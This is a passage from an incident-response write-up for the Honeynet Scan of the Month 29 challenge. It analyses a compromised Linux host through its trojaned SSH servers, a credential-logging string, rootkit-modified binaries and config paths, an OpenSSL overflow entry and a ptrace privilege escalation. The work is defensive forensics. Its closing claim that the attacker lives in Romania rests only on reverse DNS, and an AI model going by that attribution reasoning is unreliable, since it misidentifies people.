(1): as we have seen from the output of tcpdump, this is the command connection to the attacker's machine.
(2) and (3) are remote control sessions to the irc-servers fairfax.va.us.undernet.org and mesa.az.us.undernet.org.

5. How many instances of an SSH server were installed and at what times?

From the timelist created by mactime, we can derive the installation times of following ssh servers:

Time PDT	Executable	Remarks
13:33:32	/usr/bin/smbd -D	Part of rk.tar.gz
15:30:48	/usr/lib/sp0	Installed together with adore
15:32:16	/lib/.x/s/xopen	Installed together with SucKIT

6. Which instances of the SSH servers from question 5 were run?

At the time of the investigation, "smbd -D" and xopen were running. There is no evidence that sp0 ever has been started.

7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

A "strings /usr/sbin/smbd\ -D" reveals following lines.
+-[ User Login Incoming ]----------- --- --- - - | username: %s password: %s%s hostname: %s +----------------------------------- ----- --- -- -- -So we can assume that this ssh server was modified to log the login informations. Since we cannot see in the output of strings a reasonable reference to a logfile, and we else cannot find any string containing "User Login Incoming" in the disk and memory images, we assume that either there was no information collected at all, or the information was passed over network.

8. Which system executables (if any) were trojaned and what configuration files did they use?

From the output of chkrootkit, the comparison of the MD5 lists and the analysis of rk.tar.gz we see that the following executables were trojaned. We detected the configuration files by doing a "strings <executable> | less".

/bin/ls: Uses /dev/ttyof
/bin/netstat: uses /dev/ttyoa
/bin/ps and /usr/bin/top: use /dev/ttyop
/sbin/ifconfig

9. How and from where was the system likely compromised?

As we saw from the recovered error_log of httpd, the machine was compromised at 13:24:29 PDT using a buffer overflow hole during the SSL2 handshake process of OpenSSL. The attack originated from 213.154.118.21.
This leads to the conclusion that the attacker, coming from 213.154.118.21, initially broke at 13:24:29 PDT into the machine using the same exploit as the Apache/mod_ssl worm.
Since this only gave him a shell with the UID of the http-daemon (i.e. 48/apache), we have to look how he could gain root access. We can find a hint in the file /var/log/maillog of the compromised machine where we see that mails were sent to a recipient named "newptraceuser@yahoo.com". We can guess from this that the attacker used an automated exploit for the ptrace bug, found in kernel <=2.4.20 (see CAN-2003-0127). This allows a local user (in our case 48/apache) to gain root privileges.

Bonus Question: What nationality do you believe the attacker(s) to be, and why?

A "dig -x 213.154.118.21" shows that the fully qualified domainname for the attacker's host is dim99-05.is.pcnet.ro. So we can conclude that the attacker lives in romania.

Honeynet Scan of the Month 29 Challenge

Contents

Setup of the Investigation Environment

Recording of the compromised Machine

Preparation

Recording

Analysis of the fetched data

Analysis of the network connections and process information

Analysis of deleted files

Creation of the mactime List

Mounting of the Image

Analysis of unallocated Disk Space

Analysis with the MD5 list

Summary

Answers to the Questions

1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

2. Explain the impact that your actions had on the running system.

3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

5. How many instances of an SSH server were installed and at what times?

6. Which instances of the SSH servers from question 5 were run?

7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

8. Which system executables (if any) were trojaned and what configuration files did they use?

9. How and from where was the system likely compromised?

Bonus Question: What nationality do you believe the attacker(s) to be, and why?